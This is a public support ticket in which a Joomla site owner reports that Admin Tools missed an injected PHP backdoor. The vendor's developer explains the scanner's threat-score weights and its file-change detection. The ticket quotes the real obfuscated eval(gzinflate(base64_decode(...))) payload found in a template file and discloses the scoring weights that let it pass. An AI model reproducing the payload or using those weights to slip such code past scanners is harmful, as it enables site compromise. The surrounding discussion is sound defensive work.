Support

Admin Tools

#26590 Doesn't detect eval malware.

Posted in ‘Admin Tools for Joomla! 4 & 5’
This is a public ticket

Everybody will be able to see its contents. Do not include usernames, passwords or any other sensitive information.

Environment Information

Joomla! version
n/a
PHP version
n/a
Admin Tools version
n/a

Latest post by on Thursday, 22 December 2016 17:17 CST

xtech86
Hello,

We recently had a site compromised from an old component. Upon looking and inspecting we noticed Akeeba Admin tools didn't detect an infected file. See below for the eval function which was not detected that was inserted into the index.php file of the template, it's not event rated as suspicious.

        <?php eval(gzinflate(base64_decode("DZe3EqTIEkX/Za2ZwEA3EBtroLXWOC8arbX++tcWZlFZNzPPKc5v/6d6m7Hsv3vxJ/1uxQf7X15kU178+YdLcmHbArnvPNRfDB2CGD3oY073sNujVv5V34CiKLri84wCrL63CRAWSCLwjU9vUd0nwFzEIoPEwyLcA0E+MVT0SOQPulm3aEGCiHjVwZZUaJ4PqJY7Z8/mojLfWPpiAhIEk+TpVoU8XcnICGffX1JOsc400nRKNVYsNYZ+Jv7b5skbM1RsBklgM5bxqny5HmUXvfWMXDrYHB9Nzu12i1PRGCe6hbKtqcIC3+Aeyqa5+m5tB7yfznwHX9tXTxyvLe5Xg1UsU7K1T1wjDflqckJJn8izSsWU8mDKciFDAg76TESn26pzOrnDeiGEi+ko2xq0ymflgKUQD5r7+1X7ahXlm/mzSprP8yEhRwOSXg/iLZdx5mAI1JLEigcILUYHQ9GlwY4wOKX0L9g5bdvbu6jkuBmc81Ey+s54mGaKp0PE9ieL3ay5gt55sI7bLHEo3546CBrJUwaZua8jB1blg6jcNKd1veJ+1Wh7n8vkZlog2zMgzJl1T9YlLjw6+uo57buJGsdV55kcXt9vzvGIMF82s/SZfup7m0XtdwrWgcvNtUFnPh23EXzKQfbg00lYFTbJVZKsa/psVi0ro0qPRoToDDrPpN/gNNyLTxowERxCXx4yFoq0tEO4eRNFRrnToecrNCuJjvnnYt6P35zvt9Gk7amBPAoUW7Yhes3mm5UST3kZDaezild7ZRLlAp8lNxe/ayqoBwv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C65H6hKwEzAXWhI4pcYAGI+3MV+nXL34SAeHuwlGJInYUMwGluuLrEFGnG+8gPe8uXd3IoEbfny2fD7YBIcVevwGdAQo8Wmj08/xP+APy/WCR9A9ifZjxGxCq9nj/aJD1v+gEV8W6/DKTcDGm0K7uqpJ1dNKLDOGEv0lDDz6GMydnEe49h6d/BOg9sew6J7t41O1JuTHDACAW/DXIB1Sh/wf8iZLlxaui7nYez5PSzCKBIpLHhppwAZwfg8vKh0ReD0B7XM8fLOv2XnuU1JJces/jf7peBgntLNFu+miHHvnBFalwF06YeFW6/hpx3g+SnPqojS5OcQkBT9WFHGmHbkQzXSStPyFyiqRPxISC2TlAqksg8OY4H5AAbEo3zAUB73KLksw3+kgOF+Kw52R7x+qpMBNDH+isyHQbLl4Z+FTNqvcXjNhkX9z3hd6ZnATuL76wU6ZbrsCyhnbROo2QNtg2oWVLwlpc1pwJxD9xAq/U303HG75mPWXVupPE5SJ3dCouj2l8e2j4tAwzctmPtdP+lOtS5VlB4OFRgQclNebx4OXRWo+Kdp7vj/HG+6QTjsec0m7Gj8oufFJB5dpnVLi7xIQ3ZDVDYGTFQBXkjhSrULvJVOd6MB+yQ2kYk/ux8Amkkh0fIF4VKtTYBzf2eDjIgzoAKA37BaoNfWm16dkCIa8uql00igWPVCKm0L8dasWqGgqAzzr2QiOnoM447hG8/DA4XQr2GpL2hmf8Dzh54KNY6vOTbSiY+cYyXgqSoD8hqWNml2jX6LcYlQRGRVwjRkgvNxrDzXlCV+juYl38jT7hcS7y2DKwMl84yr0wv4cGQRBdETR36cAQfr6779//v79++//AQ=="))); ?>


Many thanks

nicholas
Akeeba Staff
Manager
All three function (eval, gzinflate and base64_decode) had valid uses, even inside Joomla! itself. The latter two are used in extension installation, cache handling and the Joomla update system. The only reason you know that this file might be hacked is because you, a sentient being, don't expect to see this construct in the index.php file of a template. Having a computer reach that conclusion requires a kind of AI which isn't available yet, at least not to FOSS developers. This leaves us with simple pattern matching. The downside is that very simple constructs which have a large intersection with valid, benign code will not register as threats. This is one of these cases. The eval construct without variable nesting has a weight factor of 0.2, base64_decode has a weight factor of 0.2 and gzinflate is not suspicious at all. This gives a threat score of 0.4 which is rounded down to 0.

Basically, too simple hacks don't register in the threat score. More usual hacks, consisting of eval's with nested variables, arrays and superglobals do register and, in fact, produce threat scores off the roof. While we could adjust the plain old eval to have a higher threat score, it would also produce a lot of false positives. There's no right or wrong way to deal with that.

However, Admin Tools DOES detect that the file has CHANGED. This is the entire point of the PHP File Change Scanner. You should be looking at BOTH the threat score AND the modification status of a file to figure out if it requires attention. For example, if you have not updated the template and all of a sudden you see it being modified you should take a look at it to see what changed. Admin Tools can be configured to show you a diff between the previous and the current version of the file. That would immediately draw your attention to this block of code.

Nicholas K. Dionysopoulos

Lead Developer and Director

πŸ‡¬πŸ‡·Greek: native πŸ‡¬πŸ‡§English: excellent πŸ‡«πŸ‡·French: basic β€’ πŸ• My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

xtech86
Hi Nicholas,

I would have thought that a base64 had a higher threat score when in a component view or template directory that's all. We do indeed do the monitoring of all files, however on the date the attack took place we also updated all extensions and Joomla! so the change looked to be related to our changes.

An unfortunate circumstance I suppose.

Many thanks
Tony

nicholas
Akeeba Staff
Manager
The folder does not signify much intent these days. Most templates are decidedly not template language to provide structure + CSS to make it all look good. Modern templates have a lot of code, many of them more code (in line count and scope) than Joomla itself. Using the folder location as context to threat score calculation is an invitation to trouble. Not only you'd have to know about each one and every of the templates out there and their structure but you'd also run the risk of downplaying the impact of legitimate threats outside the "usual suspects". Last month I saw a really beautiful (from a code perspective) hack hidden as additional code inside an interface file. That would be the last place to look for an exploit. Exactly why the hacker targeted it.

FWIW there is a really useful feature you may have missed: Admin Tools can highlight potentially suspicious content in any file, even those which add up to a zero threat score. This includes eval and base64_decode, even in the circumstances they yield a low combined threat score. Of course that doesn't help when the hack takes place at the same time you update everything on your site, meaning there's not a cat's chance in hell of seeing the one hacked file.

Nicholas K. Dionysopoulos

Lead Developer and Director

πŸ‡¬πŸ‡·Greek: native πŸ‡¬πŸ‡§English: excellent πŸ‡«πŸ‡·French: basic β€’ πŸ• My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

System Task
system
This ticket has been automatically closed. All tickets which have been inactive for a long time are automatically closed. If you believe that this ticket was closed in error, please contact us.

Support Information

Working hours: We are open Monday to Friday, 9am to 7pm Cyprus timezone (EET / EEST). Support is provided by the same developers writing the software, all of which live in Europe. You can still file tickets outside of our working hours, but we cannot respond to them until we're back at the office.

Support policy: We would like to kindly inform you that when using our support you have already agreed to the Support Policy which is part of our Terms of Service. Thank you for your understanding and for helping us help you!